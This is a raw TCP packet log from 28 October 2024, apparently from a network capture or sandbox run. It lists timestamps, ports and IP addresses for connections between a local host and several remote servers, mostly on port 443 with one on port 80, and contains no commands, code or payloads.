Oct 28, 2024 18:43:43.241960049 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.267971039 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.268510103 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.268549919 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.268598080 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.285109043 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.315891027 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:43.315951109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:43.359637022 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:43.365180969 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:43.383980036 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.384490013 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.384560108 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.384613991 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.396013021 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.397017956 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.397094965 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.397272110 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.425856113 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.426532984 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.426559925 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.427089930 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.427098989 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.459461927 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.459884882 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.459922075 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.460360050 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.460372925 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.517369032 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.518225908 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.518290997 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.519815922 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.519898891 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.520294905 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.520387888 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.520556927 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.520581007 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.520674944 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.520703077 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.552851915 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.556843996 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.556862116 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.557564974 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.557570934 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.564886093 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.568846941 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.569538116 CET	63644	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.569570065 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.570228100 CET	63644	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.570235968 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.579379082 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.579587936 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.579735041 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.579828978 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.579847097 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.579876900 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.579889059 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.583298922 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.583336115 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.583445072 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.583590031 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.583606005 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.593892097 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.595406055 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.595422983 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.595999956 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.596008062 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.647883892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:43.647943020 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:43.649029970 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:43.654542923 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:43.687773943 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.688020945 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.688075066 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.688328028 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.688339949 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.688349962 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.688355923 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.690978050 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.691397905 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.691423893 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.691683054 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.691808939 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.691873074 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.691956997 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.691976070 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.691987991 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.698867083 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.698928118 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.699112892 CET	63644	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.701462030 CET	63644	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.701472044 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.706989050 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.707031965 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.707168102 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.711113930 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.711141109 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.847131014 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.847223043 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.847295046 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.847357035 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.847393036 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.847507954 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.851106882 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.851133108 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.857204914 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.857219934 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.857321978 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.858793974 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.858807087 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.986274958 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.986347914 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.986421108 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.986602068 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.986629009 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.986639023 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.986644983 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.989933014 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.990000963 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:43.990181923 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.990350008 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:43.990375996 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.160557032 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.163754940 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.163777113 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.164829969 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.164835930 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.164885998 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.164895058 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.317687035 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.318468094 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.318484068 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.319325924 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.319330931 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.426908970 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.427884102 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.427892923 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.428486109 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.428491116 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.431165934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:44.431246042 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:44.449443102 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.449471951 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.449520111 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.449546099 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.449601889 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.449805021 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.449820995 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.449832916 CET	63647	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.449839115 CET	443	63647	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.452845097 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.457977057 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.458041906 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.458307981 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.458481073 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.458514929 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.458880901 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.458919048 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.459355116 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.459366083 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.545512915 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.545578003 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.545685053 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.545696974 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.545707941 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.545747042 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.546133041 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.546137094 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.546153069 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.546462059 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.546544075 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.546753883 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.570105076 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.570352077 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.570413113 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.570703030 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.570708036 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.570717096 CET	63648	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.570720911 CET	443	63648	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.574114084 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.574136019 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.574539900 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.574851036 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.574863911 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.587608099 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.587693930 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.587764025 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.587883949 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.587893963 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.587903023 CET	63649	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.587908030 CET	443	63649	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.591964960 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.592014074 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.592078924 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.592387915 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.592407942 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.594837904 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.594847918 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.594908953 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.595273018 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:44.595288038 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:44.608465910 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.609148979 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.609164000 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.609560013 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.609564066 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.730953932 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.732688904 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.732722998 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.733572006 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.733577967 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.746340036 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.746515989 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.746577978 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.748131037 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.748142004 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.748151064 CET	63650	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.748156071 CET	443	63650	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.754009008 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.754075050 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.754204035 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.754472971 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.754499912 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.864408016 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.864471912 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.864537954 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.864573956 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.864624977 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.864687920 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.864819050 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.864839077 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.864861012 CET	63651	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.864872932 CET	443	63651	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.868208885 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.868243933 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:44.868319988 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.868475914 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:44.868489027 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.232352018 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.232880116 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.232927084 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.233371019 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.233386040 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.324332952 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.326993942 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.327006102 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.327517986 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.327524900 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.344572067 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:45.344624996 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:45.344724894 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:45.344908953 CET	63658	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:45.344944954 CET	443	63658	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:45.352261066 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.354808092 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.354826927 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.355266094 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.355272055 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.370173931 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.370289087 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.370343924 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.370965004 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.370965004 CET	63652	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.370995998 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.371021032 CET	443	63652	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.391582012 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.391638994 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.391896963 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.392107964 CET	63659	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.392124891 CET	443	63659	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.454977036 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.455048084 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.455162048 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.455379009 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.455423117 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.455471039 CET	63654	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.455486059 CET	443	63654	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.458569050 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.458587885 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.458645105 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.467984915 CET	63660	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.467998981 CET	443	63660	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.481030941 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.481420040 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.481453896 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.482084036 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.482095957 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.488409042 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.488621950 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.488676071 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.488691092 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.488761902 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.488837957 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.488853931 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.488863945 CET	63653	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.488868952 CET	443	63653	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.504594088 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.504630089 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.504836082 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.514976025 CET	63661	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.514987946 CET	443	63661	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.609606981 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.609787941 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.609867096 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.613851070 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.613851070 CET	63656	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.613873959 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.613895893 CET	443	63656	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.616592884 CET	63662	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.616614103 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.616717100 CET	63662	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.616878986 CET	63662	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.616892099 CET	443	63662	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.646562099 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.649698973 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.649713039 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.650664091 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.650671005 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.675978899 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:45.678421021 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:45.678433895 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:45.679086924 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:45.679091930 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:45.679140091 CET	63655	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:45.679150105 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:45.779630899 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.779795885 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.779949903 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.780119896 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.780119896 CET	63657	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.780148983 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.780164003 CET	443	63657	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.782469034 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.782499075 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:45.782641888 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.782804966 CET	63663	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:45.782823086 CET	443	63663	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:46.087732077 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.087801933 CET	443	63655	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:46.087858915 CET	443	63655	40.126.31.71	192.168.2.5
